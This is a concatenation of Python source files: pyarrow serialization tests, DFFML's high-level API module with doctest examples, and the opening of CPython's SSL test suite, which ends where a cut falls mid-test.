context.register_type(DummyClass, "DummyClass", custom_serializer=serialize_dummy_class, custom_deserializer=deserialize_dummy_class) pa.serialize(DummyClass(), context=context) def test_numpy_subclass_serialization(): # Check that we can properly serialize subclasses of np.ndarray. class CustomNDArray(np.ndarray): def __new__(cls, input_array): array = np.asarray(input_array).view(cls) return array def serializer(obj): return {'numpy': obj.view(np.ndarray)} def deserializer(data): array = data['numpy'].view(CustomNDArray) return array context = pa.default_serialization_context() context.register_type(CustomNDArray, 'CustomNDArray', custom_serializer=serializer, custom_deserializer=deserializer) x = CustomNDArray(np.zeros(3)) serialized = pa.serialize(x, context=context).to_buffer() new_x = pa.deserialize(serialized, context=context) assert type(new_x) == CustomNDArray assert np.alltrue(new_x.view(np.ndarray) == np.zeros(3)) def test_buffer_serialization(): class BufferClass(object): pass def serialize_buffer_class(obj): return pa.py_buffer(b"hello") def deserialize_buffer_class(serialized_obj): return serialized_obj context = pa.default_serialization_context() context.register_type( BufferClass, "BufferClass", custom_serializer=serialize_buffer_class, custom_deserializer=deserialize_buffer_class) b = pa.serialize(BufferClass(), context=context).to_buffer() assert pa.deserialize(b, context=context).to_pybytes() == b"hello" @pytest.mark.skip(reason="extensive memory requirements") def test_arrow_limits(self): def huge_memory_map(temp_dir): return large_memory_map(temp_dir, 100 * 1024 * 1024 * 1024) with pa.memory_map(huge_memory_map, mode="r+") as mmap: # Test that objects that are too large for Arrow throw a Python # exception. These tests give out of memory errors on Travis and need # to be run on a machine with lots of RAM. x = 2 ** 29 * [1.0] serialization_roundtrip(x, mmap) del x x = 2 ** 29 * ["s"] serialization_roundtrip(x, mmap) del x x = 2 ** 29 * [["1"], 2, 3, [{"s": 4}]] serialization_roundtrip(x, mmap) del x x = 2 ** 29 * [{"s": 1}] + 2 ** 29 * [1.0] serialization_roundtrip(x, mmap) del x x = np.zeros(2 ** 25) serialization_roundtrip(x, mmap) del x x = [np.zeros(2 ** 18) for _ in range(2 ** 7)] serialization_roundtrip(x, mmap) del x def test_serialization_callback_error(): class TempClass(object): pass # Pass a SerializationContext into serialize, but TempClass # is not registered serialization_context = pa.SerializationContext() val = TempClass() with pytest.raises(pa.SerializationCallbackError) as err: serialized_object = pa.serialize(val, serialization_context) assert err.value.example_object == val serialization_context.register_type(TempClass, 20*b"\x00") serialized_object = pa.serialize(TempClass(), serialization_context) deserialization_context = pa.SerializationContext() # Pass a Serialization Context into deserialize, but TempClass # is not registered with pytest.raises(pa.DeserializationCallbackError) as err: serialized_object.deserialize(deserialization_context) assert err.value.type_id == 20*b"\x00" def test_fallback_to_subclasses(): class SubFoo(Foo): def __init__(self): Foo.__init__(self) # should be able to serialize/deserialize an instance # if a base class has been registered serialization_context = pa.SerializationContext() serialization_context.register_type(Foo, "Foo") subfoo = SubFoo() # should fallbact to Foo serializer serialized_object = pa.serialize(subfoo, serialization_context) reconstructed_object = serialized_object.deserialize( serialization_context ) assert type(reconstructed_object) == Foo class Serializable(object): pass def serialize_serializable(obj): return {"type": type(obj), "data": obj.__dict__} def deserialize_serializable(obj): val = obj["type"].__new__(obj["type"]) val.__dict__.update(obj["data"]) return val class SerializableClass(Serializable): def __init__(self): self.value = 3 def test_serialize_subclasses(): # This test shows how subclasses can be handled in an idiomatic way # by having only a serializer for the base class # This technique should however be used with care, since pickling # type(obj) with couldpickle will include the full class definition # in the serialized representation. # This means the class definition is part of every instance of the # object, which in general is not desirable; registering all subclasses # with register_type will result in faster and more memory # efficient serialization. context = pa.default_serialization_context() context.register_type( Serializable, "Serializable", custom_serializer=serialize_serializable, custom_deserializer=deserialize_serializable) a = SerializableClass() serialized = pa.serialize(a, context=context) deserialized = serialized.deserialize(context=context) assert type(deserialized).__name__ == SerializableClass.__name__ assert deserialized.value == 3 def test_serialize_to_components_invalid_cases(): buf = pa.py_buffer(b'hello') components = { 'num_tensors': 0, 'num_buffers': 1, 'data': [buf] } with pytest.raises(pa.ArrowInvalid): pa.deserialize_components(components) components = { 'num_tensors': 1, 'num_buffers': 0, 'data': [buf, buf] } with pytest.raises(pa.ArrowInvalid): pa.deserialize_components(components) @pytest.mark.skipif(os.name == 'nt', reason="deserialize_regex not pickleable") def test_deserialize_in_different_process(): from multiprocessing import Process, Queue import re regex = re.compile(r"\d+\.\d*") serialization_context = pa.SerializationContext() serialization_context.register_type(type(regex), "Regex", pickle=True) serialized = pa.serialize(regex, serialization_context) serialized_bytes = serialized.to_buffer().to_pybytes() def deserialize_regex(serialized, q): import pyarrow as pa q.put(pa.deserialize(serialized)) q = Queue() p = Process(target=deserialize_regex, args=(serialized_bytes, q)) p.start() assert q.get().pattern == regex.pattern p.join() def test_deserialize_buffer_in_different_process(): import tempfile import subprocess f = tempfile.NamedTemporaryFile(delete=False) b = pa.serialize(pa.py_buffer(b'hello')).to_buffer() f.write(b.to_pybytes()) f.close() subprocess_env = test_util.get_modified_env_with_pythonpath() dir_path = os.path.dirname(os.path.realpath(__file__)) python_file = os.path.join(dir_path, 'deserialize_buffer.py') subprocess.check_call([sys.executable, python_file, f.name], env=subprocess_env) def test_set_pickle(): # Use a custom type to trigger pickling. class Foo(object): pass context = pa.SerializationContext() context.register_type(Foo, 'Foo', pickle=True) test_object = Foo() # Define a custom serializer and deserializer to use in place of pickle. def dumps1(obj): return b'custom' def loads1(serialized_obj): return serialized_obj + b' serialization 1' # Test that setting a custom pickler changes the behavior. context.set_pickle(dumps1, loads1) serialized = pa.serialize(test_object, context=context).to_buffer() deserialized = pa.deserialize(serialized.to_pybytes(), context=context) assert deserialized == b'custom serialization 1' # Define another custom serializer and deserializer. def dumps2(obj): return b'custom' def loads2(serialized_obj): return serialized_obj + b' serialization 2' # Test that setting another custom pickler changes the behavior again. context.set_pickle(dumps2, loads2) serialized = pa.serialize(test_object, context=context).to_buffer() deserialized = pa.deserialize(serialized.to_pybytes(), context=context) assert deserialized == b'custom serialization 2' @pytest.mark.skipif(sys.version_info < (3, 6), reason="need Python 3.6") def test_path_objects(tmpdir): # Test compatibility with PEP 519 path-like objects import pathlib p = pathlib.Path(tmpdir) / 'zzz.bin' obj = 1234 pa.serialize_to(obj, p) res = pa.deserialize_from(p, None) assert res == obj def test_tensor_alignment(): # Deserialized numpy arrays should be 64-byte aligned. x = np.random.normal(size=(10, 20, 30)) y = pa.deserialize(pa.serialize(x).to_buffer()) assert y.ctypes.data % 64 == 0 xs = [np.random.normal(size=i) for i in range(100)] ys = pa.deserialize(pa.serialize(xs).to_buffer()) for y in ys: assert y.ctypes.data % 64 == 0 xs = [np.random.normal(size=i * (1,)) for i in range(20)] ys = pa.deserialize(pa.serialize(xs).to_buffer()) for y in ys: assert y.ctypes.data % 64 == 0 xs = [np.random.normal(size=i * (5,)) for i in range(1, 8)] xs = [xs[i][(i + 1) * (slice(1, 3),)] for i in range(len(xs))] ys = pa.deserialize(pa.serialize(xs).to_buffer()) for y in ys: assert y.ctypes.data % 64 == 0 def test_serialization_determinism(): for obj in COMPLEX_OBJECTS: buf1 = pa.serialize(obj).to_buffer() buf2 = pa.serialize(obj).to_buffer() assert buf1.to_pybytes() == buf2.to_pybytes()
high_level.py
""" High level abstraction interfaces to DFFML. These are probably going to be used in a lot of quick and dirty python files. """ import asyncio import pathlib from typing import Optional, Tuple, List, Union, Dict, Any, AsyncIterator from .record import Record from .df.types import DataFlow, Input from .df.memory import MemoryOrchestrator from .source.source import Sources, BaseSource from .source.memory import MemorySource, MemorySourceConfig from .df.base import BaseInputSetContext, BaseOrchestrator, BaseInputSet def _records_to_sources(*args): """ Create a memory source out of any records passed as a variable length list. Add all sources found in the variable length list to a list of sources, and the created source containing records, and return that list of sources. """ # If the first arg is an instance of sources, append the rest to that. if args and isinstance(args[0], Sources): sources = args[0] else: sources = Sources( *[arg for arg in args if isinstance(arg, BaseSource)] ) # Records to add to memory source records = [] # Make args mutable args = list(args) # Convert dicts to records for i, arg in enumerate(args): if isinstance(arg, dict): arg = Record(i, data={"features": arg}) if isinstance(arg, Record): records.append(arg) if isinstance(arg, str) and "." in arg: filepath = pathlib.Path(arg) source = BaseSource.load(filepath.suffix.replace(".", "")) sources.append(source(filename=arg)) # Create memory source if there are any records if records: sources.append(MemorySource(MemorySourceConfig(records=records))) return sources async def run( dataflow: DataFlow, *input_sets: Union[List[Input], BaseInputSet], orchestrator: Optional[BaseOrchestrator] = None, strict: bool = True, ctx: Optional[BaseInputSetContext] = None, halt: Optional[asyncio.Event] = None, ) -> AsyncIterator[Tuple[BaseInputSetContext, Dict[str, Any]]]: """ Run a DataFlow Run a DataFlow using the the default orchestrator (:py:class:`MemoryOrchestrator <dffml.df.memory.MemoryOrchestrator>`), or the specified one. Parameters ---------- dataflow : DataFlow :py:class:`DataFlow <dffml.df.types.DataFlow>` to run. input_sets : InputSet, list, dict, optional :py:class:`Inputs <dffml.df.types.Input>` to give to the :py:class:`DataFlow <dffml.df.types.DataFlow>` when it starts. Can be in multiple formats. If each element is a ``list`` then it's expected that each element of that list be an :py:class:`Input <dffml.df.types.Input>`, in this case an :py:class:`InputSet <dffml.df.base.BaseInputSet>` will be created with a random string used as the :py:class:`StringInputSetContext <dffml.df.base.StringInputSetContext>`. If a ``dict`` is given then each key will become a :py:class:`StringInputSetContext <dffml.df.base.StringInputSetContext>`. The value for each key should be a ``list`` of :py:class:`Input <dffml.df.types.Input>` objects. If each element is a :py:class:`InputSet <dffml.df.base.BaseInputSet>` then each context :py:class:`InputSetContext <dffml.df.base.BaseInputSetContext>` will have its respective :py:class:`Inputs <dffml.df.types.Input>` added to it. orchestrator : BaseOrchestrator, optional Orchestrator to use, defaults to :py:class:`MemoryOrchestrator <dffml.df.memory.MemoryOrchestrator>` if ``None``. strict : bool, optional If true (default), raise exceptions when they occur in operations. If false, log exceptions without raising. ctx : BaseInputSetContext, optional If given and input_sets is a ``list`` then add inputs under the given context. Otherwise they are added under randomly generated contexts. halt : Event, optional If given, keep the dataflow running until this :py:class:`asyncio.Event` is set. Returns ------- asynciterator ``tuple`` of :py:class:`InputSetContext <dffml.df.base.BaseInputSetContext>` and ``dict`` where contents are determined by output operations. If multiple output operations are used, then the top level keys will be the names of the output operations. If only one is used, then the ``dict`` will be whatever the return value of that output operation was. Examples -------- The following creates a TCP echo server. We write an operation which using a DataFlow to open a connection and send a message to the server. For the inputs to the DataFlow, we create 2 Input objects whose values are the message to be sent to the TCP server. We also create Input objects for the host and port. When running a DataFlow, operations will be run with each possible permutation of their inputs. .. TODO Autogenerate this image during docs build graph LR send_to_server 1[First echo message] port[Port] host[Host] 2[Second echo message] 1_c[Host, Port, First echo] 2_c[Host, Port, Second echo] host --> 1_c port --> 1_c 2 --> 2_c port --> 2_c host --> 2_c 1 --> 1_c 1_c --> send_to_server 2_c --> send_to_server .. image:: /images/high_level_run_echo_server_input_combination.svg :alt: Flow chart showing how both echo messages create a parameter set including that echo message and the host and port Because there is a different Input object for each of the 2 "echo" messages, one will get combined with the host and port to make an argument list for the ``send_to_server`` operation. The other also combines with the host and port to make another argument list. Both argument lists are used to call the ``send_to_server`` operation. >>> # Socket server derived from >>> # https://docs.python.org/3/library/socketserver.html#asynchronous-mixins >>> import asyncio >>> import threading >>> import socketserver >>> from dffml import * >>> >>> class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler): ... def handle(self): ... self.request.sendall(self.request.recv(1024)) >>> >>> class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): ... pass >>> >>> @op ... async def send_to_server(host: str, port: int, message: str): ... reader, writer = await asyncio.open_connection(host, port) ... ... writer.write(message.encode()) ... await writer.drain() ... ... data = await reader.read(100) ... print(f"Client sent {message!r}, got: {data.decode()!r}") ... ... writer.close() ... await writer.wait_closed() >>> >>> # List of messages to send to the server, 2 long, each value is "echo" >>> messages = [Input(value="echo", definition=send_to_server.op.inputs["message"]) ... for _ in range(0, 2)] >>> >>> # DataFlow consisting of the single operation >>> dataflow = DataFlow.auto(send_to_server) >>> >>> async def main(): ... # Create a server with and pass 0 to get a random port assigned ... server = ThreadedTCPServer(("127.0.0.1", 0), ThreadedTCPRequestHandler) ... with server: ... host, port = server.server_address ... ... # Start a thread to run the server in the background ... server_thread = threading.Thread(target=server.serve_forever) ... # Exit the server thread when the main thread terminates ... server_thread.daemon = True ... server_thread.start() ... ... # Add the host and port to the list of Inputs for the DataFlow ... inputs = messages + [ ... Input(value=host, definition=send_to_server.op.inputs["host"]), ... Input(value=port, definition=send_to_server.op.inputs["port"]) ... ] ... ... try: ... async for ctx, results in run(dataflow, inputs): ... pass ... finally: ... server.shutdown() >>> >>> asyncio.run(main()) Client sent 'echo', got: 'echo' Client sent 'echo', got: 'echo' """ if orchestrator is None: orchestrator = MemoryOrchestrator.withconfig({}) async with orchestrator: async with orchestrator(dataflow) as ctx: async for ctx, results in ctx.run(*input_sets): yield ctx, results async def save(source: BaseSource, *args: Record) -> None: """ Update a source's knowledge about given records. For each record given, call :py:func:`update <dffml.source.source.BaseSourceContext.update>` on the source. Effectively saving all the records to the source. Parameters ---------- source : BaseSource Data source to use. See :doc:`/plugins/dffml_source` for sources and options. *args : list Records to be saved. Examples -------- >>> import asyncio >>> import pathlib >>> from dffml import * >>> >>> source = CSVSource(filename="save.csv", allowempty=True, readwrite=True) >>> >>> async def main(): ... await save( ... source, ... Record( ... "myrecord", ... data={ ... "features": {"Years": 0, "Expertise": 1, "Trust": 0.1}, ... "prediction": {"Salary": {"value": 10, "confidence": 1.0}}, ... } ... ) ... ) ... print(pathlib.Path("save.csv").read_text().strip()) >>> >>> asyncio.run(main()) key,tag,Expertise,Trust,Years,prediction_Salary,confidence_Salary myrecord,untagged,1,0.1,0,10,1.0 """ async with source: async with source() as sctx: for record in args: await sctx.update(record) async def load(source: BaseSource, *args: str) -> AsyncIterator[Record]: """ Yields records from a source. Yields all the records from the source, if record keys are given then only those records are yielded. Parameters ---------- source : BaseSource Data source to use. See :doc:`/plugins/dffml_source` for sources and options. *args : str Records to be returned. If empty, all the records in a source will be returned. Returns ------- asynciterator :py:class:`Record <dffml.record.Record>` object Examples -------- >>> import asyncio >>> from dffml import * >>> >>> source = CSVSource(filename="load.csv", allowempty=True, readwrite=True) >>> >>> async def main(): ... await save( ... source, ... Record("1", data={"features": {"A": 0, "B": 1}}), ... Record("2", data={"features": {"A": 3, "B": 4}}), ... ) ... ... # All records in source ... async for record in load(source): ... print(record.export()) ... ... # For specific records in a source ... async for record in load(source, "1"): ... print(record.export()) >>> >>> asyncio.run(main()) {'key': '1', 'features': {'A': 0, 'B': 1}, 'extra': {}} {'key': '2', 'features': {'A': 3, 'B': 4}, 'extra': {}} {'key': '1', 'features': {'A': 0, 'B': 1}, 'extra': {}} """ async with source: async with source() as sctx: if args: # If specific records are to be loaded for record in args: yield await sctx.record(record) else: # All the records are loaded async for record in sctx.records(): yield record async def train(model, *args: Union[BaseSource, Record, Dict[str, Any]]): """ Train a machine learning model. Provide records to the model to train it. The model should be already instantiated. Parameters ---------- model : Model Machine Learning model to use. See :doc:`/plugins/dffml_model` for models options. *args : list Input data for training. Could be a ``dict``, :py:class:`Record`, filename, one of the data :doc:`/plugins/dffml_source`, or a filename with the extension being one of the data sources. Examples -------- >>> import asyncio >>> from dffml import * >>> >>> model = SLRModel( ... features=Features( ... Feature("Years", int, 1), ... ), ... predict=Feature("Salary", int, 1), ... ) >>> >>> async def main(): ... await train( ... model, ... {"Years": 0, "Salary": 10}, ... {"Years": 1, "Salary": 20}, ... {"Years": 2, "Salary": 30}, ... {"Years": 3, "Salary": 40}, ... ) >>> >>> asyncio.run(main()) """ sources = _records_to_sources(*args) async with sources as sources, model as model: async with sources() as sctx, model() as mctx: return await mctx.train(sctx) async def accuracy( model, *args: Union[BaseSource, Record, Dict[str, Any]] ) -> float: """ Assess the accuracy of a machine learning model. Provide records to the model to assess the percent accuracy of its prediction abilities. The model should be already instantiated and trained. Parameters ---------- model : Model Machine Learning model to use. See :doc:`/plugins/dffml_model` for models options. *args : list Input data for training. Could be a ``dict``, :py:class:`Record`, filename, one of the data :doc:`/plugins/dffml_source`, or a filename with the extension being one of the data sources. Returns ------- float A decimal value representing the percent of the time the model made the correct prediction. For some models this has another meaning. Please see the documentation for the model your using for further details. Examples -------- >>> import asyncio >>> from dffml import * >>> >>> model = SLRModel( ... features=Features( ... Feature("Years", int, 1), ... ), ... predict=Feature("Salary", int, 1), ... ) >>> >>> async def main(): ... print( ... "Accuracy:", ... await accuracy( ... model, ... {"Years": 4, "Salary": 50}, ... {"Years": 5, "Salary": 60}, ... ), ... ) >>> >>> asyncio.run(main()) Accuracy: 1.0 """ sources = _records_to_sources(*args) async with sources as sources, model as model: async with sources() as sctx, model() as mctx: return float(await mctx.accuracy(sctx)) async def predict( model, *args: Union[BaseSource, Record, Dict[str, Any]], update: bool = False, keep_record: bool = False, ): """ Make a prediction using a machine learning model. The model must be trained before using it to make a prediction. Parameters ---------- model : Model Machine Learning model to use. See :doc:`/plugins/dffml_model` for models options. *args : list Input data for prediction. Could be a ``dict``, :py:class:`Record`, filename, or one of the data :doc:`/plugins/dffml_source`. update : boolean, optional If ``True`` prediction data within records will be written back to all sources given. Defaults to ``False``. keep_record : boolean, optional If ``True`` the results will be kept as their ``Record`` objects instead of being converted to a ``(record.key, features, predictions)`` tuple. Defaults to ``False``. Returns ------- asynciterator ``Record`` objects or ``(record.key, features, predictions)`` tuple. Examples -------- >>> import asyncio >>> from dffml import * >>> >>> model = SLRModel( ... features=Features( ... Feature("Years", int, 1), ... ), ... predict=Feature("Salary", int, 1), ... ) >>> >>> async def main(): ... async for i, features, prediction in predict( ... model, ... {"Years": 6}, ... {"Years": 7}, ... ): ... features["Salary"] = round(prediction["Salary"]["value"]) ... print(features) >>> >>> asyncio.run(main()) {'Years': 6, 'Salary': 70} {'Years': 7, 'Salary': 80} """ sources = _records_to_sources(*args) async with sources as sources, model as model: async with sources() as sctx, model() as mctx: async for record in mctx.predict(sctx.records()): yield record if keep_record else ( record.key, record.features(), record.predictions(), ) if update: await sctx.update(record)
test_ssl.py
# Test the support for SSL and sockets import sys import unittest from test import support import socket import select import time import datetime import gc import os import errno import pprint import urllib.request import threading import traceback import asyncore import weakref import platform import functools import sysconfig try: import ctypes except ImportError: ctypes = None ssl = support.import_module("ssl") PROTOCOLS = sorted(ssl._PROTOCOL_NAMES) HOST = support.HOST IS_LIBRESSL = ssl.OPENSSL_VERSION.startswith('LibreSSL') IS_OPENSSL_1_1_0 = not IS_LIBRESSL and ssl.OPENSSL_VERSION_INFO >= (1, 1, 0) IS_OPENSSL_1_1_1 = not IS_LIBRESSL and ssl.OPENSSL_VERSION_INFO >= (1, 1, 1) PY_SSL_DEFAULT_CIPHERS = sysconfig.get_config_var('PY_SSL_DEFAULT_CIPHERS') def data_file(*name): return os.path.join(os.path.dirname(__file__), *name) # The custom key and certificate files used in test_ssl are generated # using Lib/test/make_ssl_certs.py. # Other certificates are simply fetched from the Internet servers they # are meant to authenticate. CERTFILE = data_file("keycert.pem") BYTES_CERTFILE = os.fsencode(CERTFILE) ONLYCERT = data_file("ssl_cert.pem") ONLYKEY = data_file("ssl_key.pem") BYTES_ONLYCERT = os.fsencode(ONLYCERT) BYTES_ONLYKEY = os.fsencode(ONLYKEY) CERTFILE_PROTECTED = data_file("keycert.passwd.pem") ONLYKEY_PROTECTED = data_file("ssl_key.passwd.pem") KEY_PASSWORD = "somepass" CAPATH = data_file("capath") BYTES_CAPATH = os.fsencode(CAPATH) CAFILE_NEURONIO = data_file("capath", "4e1295a3.0") CAFILE_CACERT = data_file("capath", "5ed36f99.0") CERTFILE_INFO = { 'issuer': ((('countryName', 'XY'),), (('localityName', 'Castle Anthrax'),), (('organizationName', 'Python Software Foundation'),), (('commonName', 'localhost'),)), 'notAfter': 'Aug 26 14:23:15 2028 GMT', 'notBefore': 'Aug 29 14:23:15 2018 GMT', 'serialNumber': '98A7CF88C74A32ED', 'subject': ((('countryName', 'XY'),), (('localityName', 'Castle Anthrax'),), (('organizationName', 'Python Software Foundation'),), (('commonName', 'localhost'),)), 'subjectAltName': (('DNS', 'localhost'),), 'version': 3 } # empty CRL CRLFILE = data_file("revocation.crl") # Two keys and certs signed by the same CA (for SNI tests) SIGNED_CERTFILE = data_file("keycert3.pem") SIGNED_CERTFILE_HOSTNAME = 'localhost' SIGNED_CERTFILE_INFO = { 'OCSP': ('http://testca.pythontest.net/testca/ocsp/',), 'caIssuers': ('http://testca.pythontest.net/testca/pycacert.cer',), 'crlDistributionPoints': ('http://testca.pythontest.net/testca/revocation.crl',), 'issuer': ((('countryName', 'XY'),), (('organizationName', 'Python Software Foundation CA'),), (('commonName', 'our-ca-server'),)), 'notAfter': 'Jul 7 14:23:16 2028 GMT', 'notBefore': 'Aug 29 14:23:16 2018 GMT', 'serialNumber': 'CB2D80995A69525C', 'subject': ((('countryName', 'XY'),), (('localityName', 'Castle Anthrax'),), (('organizationName', 'Python Software Foundation'),), (('commonName', 'localhost'),)), 'subjectAltName': (('DNS', 'localhost'),), 'version': 3 } SIGNED_CERTFILE2 = data_file("keycert4.pem") SIGNED_CERTFILE2_HOSTNAME = 'fakehostname' SIGNED_CERTFILE_ECC = data_file("keycertecc.pem") SIGNED_CERTFILE_ECC_HOSTNAME = 'localhost-ecc' # Same certificate as pycacert.pem, but without extra text in file SIGNING_CA = data_file("capath", "ceff1710.0") # cert with all kinds of subject alt names ALLSANFILE = data_file("allsans.pem") IDNSANSFILE = data_file("idnsans.pem") REMOTE_HOST = "self-signed.pythontest.net" EMPTYCERT = data_file("nullcert.pem") BADCERT = data_file("badcert.pem") NONEXISTINGCERT = data_file("XXXnonexisting.pem") BADKEY = data_file("badkey.pem") NOKIACERT = data_file("nokia.pem") NULLBYTECERT = data_file("nullbytecert.pem") DHFILE = data_file("ffdh3072.pem") BYTES_DHFILE = os.fsencode(DHFILE) # Not defined in all versions of OpenSSL OP_NO_COMPRESSION = getattr(ssl, "OP_NO_COMPRESSION", 0) OP_SINGLE_DH_USE = getattr(ssl, "OP_SINGLE_DH_USE", 0) OP_SINGLE_ECDH_USE = getattr(ssl, "OP_SINGLE_ECDH_USE", 0) OP_CIPHER_SERVER_PREFERENCE = getattr(ssl, "OP_CIPHER_SERVER_PREFERENCE", 0) OP_ENABLE_MIDDLEBOX_COMPAT = getattr(ssl, "OP_ENABLE_MIDDLEBOX_COMPAT", 0) def handle_error(prefix): exc_format = ' '.join(traceback.format_exception(*sys.exc_info())) if support.verbose: sys.stdout.write(prefix + exc_format) def can_clear_options(): # 0.9.8m or higher return ssl._OPENSSL_API_VERSION >= (0, 9, 8, 13, 15) def no_sslv2_implies_sslv3_hello(): # 0.9.7h or higher return ssl.OPENSSL_VERSION_INFO >= (0, 9, 7, 8, 15) def have_verify_flags(): # 0.9.8 or higher return ssl.OPENSSL_VERSION_INFO >= (0, 9, 8, 0, 15) def _have_secp_curves(): if not ssl.HAS_ECDH: return False ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) try: ctx.set_ecdh_curve("secp384r1") except ValueError: return False else: return True HAVE_SECP_CURVES = _have_secp_curves() def utc_offset(): #NOTE: ignore issues like #1647654 # local time = utc time + utc offset if time.daylight and time.localtime().tm_isdst > 0: return -time.altzone # seconds return -time.timezone def asn1time(cert_time): # Some versions of OpenSSL ignore seconds, see #18207 # 0.9.8.i if ssl._OPENSSL_API_VERSION == (0, 9, 8, 9, 15): fmt = "%b %d %H:%M:%S %Y GMT" dt = datetime.datetime.strptime(cert_time, fmt) dt = dt.replace(second=0) cert_time = dt.strftime(fmt) # %d adds leading zero but ASN1_TIME_print() uses leading space if cert_time[4] == "0": cert_time = cert_time[:4] + " " + cert_time[5:] return cert_time # Issue #9415: Ubuntu hijacks their OpenSSL and forcefully disables SSLv2 def skip_if_broken_ubuntu_ssl(func): if hasattr(ssl, 'PROTOCOL_SSLv2'): @functools.wraps(func) def f(*args, **kwargs): try: ssl.SSLContext(ssl.PROTOCOL_SSLv2) except ssl.SSLError: if (ssl.OPENSSL_VERSION_INFO == (0, 9, 8, 15, 15) and platform.linux_distribution() == ('debian', 'squeeze/sid', '')): raise unittest.SkipTest("Patched Ubuntu OpenSSL breaks behaviour") return func(*args, **kwargs) return f else: return func needs_sni = unittest.skipUnless(ssl.HAS_SNI, "SNI support needed for this test") def test_wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLS, *, cert_reqs=ssl.CERT_NONE, ca_certs=None, ciphers=None, certfile=None, keyfile=None, **kwargs): context = ssl.SSLContext(ssl_version) if cert_reqs is not None: if cert_reqs == ssl.CERT_NONE: context.check_hostname = False context.verify_mode = cert_reqs if ca_certs is not None: context.load_verify_locations(ca_certs) if certfile is not None or keyfile is not None: context.load_cert_chain(certfile, keyfile) if ciphers is not None: context.set_ciphers(ciphers) return context.wrap_socket(sock, **kwargs) def testing_context(server_cert=SIGNED_CERTFILE): """Create context client_context, server_context, hostname = testing_context() """ if server_cert == SIGNED_CERTFILE: hostname = SIGNED_CERTFILE_HOSTNAME elif server_cert == SIGNED_CERTFILE2: hostname = SIGNED_CERTFILE2_HOSTNAME else: raise ValueError(server_cert) client_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) client_context.load_verify_locations(SIGNING_CA) server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) server_context.load_cert_chain(server_cert) server_context.load_verify_locations(SIGNING_CA) return client_context, server_context, hostname class BasicSocketTests(unittest.TestCase): def test_constants(self): ssl.CERT_NONE ssl.CERT_OPTIONAL ssl.CERT_REQUIRED ssl.OP_CIPHER_SERVER_PREFERENCE ssl.OP_SINGLE_DH_USE if ssl.HAS_ECDH: ssl.OP_SINGLE_ECDH_USE if ssl.OPENSSL_VERSION_INFO >= (1, 0): ssl.OP_NO_COMPRESSION self.assertIn(ssl.HAS_SNI, {True, False}) self.assertIn(ssl.HAS_ECDH, {True, False}) ssl.OP_NO_SSLv2 ssl.OP_NO_SSLv3 ssl.OP_NO_TLSv1 ssl.OP_NO_TLSv1_3 if ssl.OPENSSL_VERSION_INFO >= (1, 0, 1): ssl.OP_NO_TLSv1_1 ssl.OP_NO_TLSv1_2 self.assertEqual(ssl.PROTOCOL_TLS, ssl.PROTOCOL_SSLv23) def test_private_init(self): with self.assertRaisesRegex(TypeError, "public constructor"): with socket.socket() as s: ssl.SSLSocket(s) def test_str_for_enums(self): # Make sure that the PROTOCOL_* constants have enum-like string # reprs. proto = ssl.PROTOCOL_TLS self.assertEqual(str(proto), '_SSLMethod.PROTOCOL_TLS') ctx = ssl.SSLContext(proto) self.assertIs(ctx.protocol, proto) def test_random(self): v = ssl.RAND_status() if support.verbose: sys.stdout.write("\n RAND_status is %d (%s)\n" % (v, (v and "sufficient randomness") or "insufficient randomness")) data, is_cryptographic = ssl.RAND_pseudo_bytes(16) self.assertEqual(len(data), 16) self.assertEqual(is_cryptographic, v == 1) if v: data = ssl.RAND_bytes(16) self.assertEqual(len(data), 16) else: self.assertRaises(ssl.SSLError, ssl.RAND_bytes, 16) # negative num is invalid self.assertRaises(ValueError, ssl.RAND_bytes, -5) self.assertRaises(ValueError, ssl.RAND_pseudo_bytes, -5) if hasattr(ssl, 'RAND_egd'): self.assertRaises(TypeError, ssl.RAND_egd, 1) self.assertRaises(TypeError, ssl.RAND_egd, 'foo', 1) ssl.RAND_add("this is a random string", 75.0) ssl.RAND_add(b"this is a random bytes object", 75.0) ssl.RAND_add(bytearray(b"this is a random bytearray object"), 75.0) @unittest.skipUnless(os.name == 'posix', 'requires posix') def test_random_fork(self): status = ssl.RAND_status() if not status: self.fail("OpenSSL's PRNG has insufficient randomness") rfd, wfd = os.pipe() pid = os.fork() if pid == 0: try: os.close(rfd) child_random = ssl.RAND_pseudo_bytes(16)[0] self.assertEqual(len(child_random), 16) os.write(wfd, child_random) os.close(wfd) except BaseException: os._exit(1) else: os._exit(0) else: os.close(wfd) self.addCleanup(os.close, rfd) _, status = os.waitpid(pid, 0) self.assertEqual(status, 0) child_random = os.read(rfd, 16) self.assertEqual(len(child_random), 16) parent_random = ssl.RAND_pseudo_bytes(16)[0] self.assertEqual(len(parent_random), 16) self.assertNotEqual(child_random, parent_random) maxDiff = None def test_parse_cert(self): # note that this uses an 'unofficial' function in _ssl.c, # provided solely for this test, to exercise the certificate # parsing code self.assertEqual( ssl._ssl._test_decode_cert(CERTFILE), CERTFILE_INFO ) self.assertEqual( ssl._ssl._test_decode_cert(SIGNED_CERTFILE), SIGNED_CERTFILE_INFO ) # Issue #13034: the subjectAltName in some certificates # (notably projects.developer.nokia.com:443) wasn't parsed p = ssl._ssl._test_decode_cert(NOKIACERT) if support.verbose: sys.stdout.write("\n" + pprint.pformat(p) + "\n") self.assertEqual(p['subjectAltName'], (('DNS', 'projects.developer.nokia.com'), ('DNS', 'projects.forum.nokia.com')) ) # extra OCSP and AIA fields self.assertEqual(p['OCSP'], ('http://ocsp.verisign.com',)) self.assertEqual(p['caIssuers'], ('http://SVRIntl-G3-aia.verisign.com/SVRIntlG3.cer',)) self.assertEqual(p['crlDistributionPoints'], ('http://SVRIntl-G3-crl.verisign.com/SVRIntlG3.crl',)) def test_parse_cert_CVE_2013_4238(self): p = ssl._ssl._test_decode_cert(NULLBYTECERT) if support.verbose: sys.stdout.write("\n" + pprint.pformat(p) + "\n") subject = ((('countryName', 'US'),), (('stateOrProvinceName', 'Oregon'),), (('localityName', 'Beaverton'),), (('organizationName', 'Python Software Foundation'),), (('organizationalUnitName', 'Python Core Development'),), (('commonName', 'null.python.org\x00example.org'),), (('emailAddress', 'python-dev@python.org'),)) self.assertEqual(p['subject'], subject) self.assertEqual(p['issuer'], subject) if ssl._OPENSSL_API_VERSION >= (0, 9, 8): san = (('DNS', 'altnull.python.org\x00example.com'), 